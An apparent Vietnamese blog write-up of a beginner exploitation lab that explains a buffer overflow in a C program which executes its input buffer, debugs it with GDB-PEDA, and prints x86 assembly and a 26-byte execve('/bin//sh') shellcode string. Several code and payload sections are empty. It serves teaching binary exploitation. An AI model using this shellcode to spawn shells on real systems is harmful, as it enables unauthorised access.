Shellcode (Part1)

 ShellCode

I. Pre-Overview 

Trước khi overview nó thì bạn cần lắm được những kiến thức mà tôi sẽ đề cặp nó ở dưới đây:
    void (*)(): là 1 dạng pointer trỏ đến các hàm có các đối số không xác định(indeterminate argument) và return no value.
    (void (*)()): được hình thành từ dạng trên.
    (void (*)())buf: hình thành buf từ loại trên.
    ((void (*)())buf)(): gọi hàm nhưng không có đối số
==> Nó yêu cầu trình biên dịch coi buf như một pointer đến 1 hàm và để gọi hàm đó
Ok. Thì đây là những gì bạn cần lắm được khi đọc code: 
        

Dòng 17: 

2 dòng 21 22 của chương trình thì bạn không cần phải quan tâm vì chức năng của nó là set Group ID để ngăn chặn khi mà ta /bin/sh loại bỏ các đặc quyền (Tức là đảm bảo tính toàn vẹn của hệ thống).

II. Over View

Thì sau khi rút gọn thì chương trình được simple hóa như này: (không khuyến khích)


Thì lỗi đầu tiên mà tôi nhìn thấy ở dòng 12 đó là Buffer Overflow, cấp phát 1 mảng buf cho phép nhập 148 kí tự. Khi enter shellcode thì lỗi buffer overflow sẽ được thực thi. Thì nếu bạn còn nhớ phần Pre-Overview thì sau khi enter shellcode thì buf sẽ trở thành 1 con trỏ và có thể thực thi được phần data của buf. Và kết thúc chương trình với return 0.

III. Analysis with debugger PEDA

A. Checksec:


Chế độ bảo vệ stack canary được bật ==> Disabled Stack Overflow
Và chế độ bảo vệ NX disabled ==> có thể sử dụng được shellcode

Khi đó stack có thể có quyền execute thay vì chỉ có quyền write như những bài trước 

B. View functions

    Set breakpoint tại hàm gets của hàm vuln
    
    
  và run chương trình thì mình thấy địa chỉ của argument nhập vào đó chính là: 0xffffcfe8 
    Tiếp đến thì mình đặt tiếp 1 break point nữa tại lệnh call eax tức là eax nó có 1 số dữ liệu nào đó thì nó sẽ được gọi.  ==> Thì eax lúc này sẽ có giá trị: 0xffffcfe8 chứa những kĩ tự nhập vào từ bàn phím. Điều đặc biệt ở đây là giá trị của eax bây giờ trùng với địa chỉ của argument trước đó khi chương trình chạy đến gets
==> Chúng ta chèn shellcode vào để lệnh call gọi đến những shellcode đó. Bạn có thể thắc mắc là tại sao ko phải ret2win đúng ko :>>. Đơn giản thôi vì hàm syscall("bin/sh") nó không có sẵn trong chương trình của bạn nên việc đó là bất khả thi. 

IV. Exploit

A. Shellcode

    Thì trên code C ta hay thấy có hàm syscall("bin/sh") để vào được shell của sever. Nhưng đó chỉ là phía user tức là mình có thể thấy. Nhưng khi thông qua trình biên dịch để cho máy hiểu thì đó là ngôn ngữ assembly. Còn nếu bạn chưa biết gì về thứ ngôn ngữ hắc ám này, bạn nên học về nó trước. Or tìm trên mạng nhưng mà tôi khuyên bạn nên học cẩn thận nó :))
    Thì assembly, nó sẽ dùng hàm execve() để thực thi. Tôi tìm thấy lệnh đó ở đây:
    

thì ta cần gán giá trị eax = 0x0b
    Mã assembly của tôi như sau:
        xor eax, eax                       
        xor ecx, ecx                       
        xor edx,edx                       
        add eax, 0x0b                    
        xor ebx, ebx                      
        push ebx                            
        push 0x68732f2f      'hs//'  
        push 0x6e69622f      'nib/' 
        mov ebx, esp                     
        int 0x80                             

Thì khi disassembly nó ra shellcode ta được 1 shellcode có độ dài 26 bytes có 1 số chương trình giới hạn byte bạn nhập vào nên bạn cũng phải chú ý đến điều này   :"\x31\xC0\x31\xC9\x31\xD2\x83\xC0\x0B\x31\xDB\x53\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80"

Lưu ý khi viết shellcode: Khi bạn nhập vào shellcode vào hàm gets nó sẽ kết thúc khi gặp kí tự null như \x00 nên tránh việc nó xuất hiện trong shellcode của mình thì bạn ko để thừa byte vì đây là cấu trúc 32 bit nên mỗi thanh ghi chỉ chứa tối đa 4 byte.

B. Payload here

       

==> Success:
        



Comments

Popular posts from this blog

LACTF2023 - MISC

NOP (No Operation)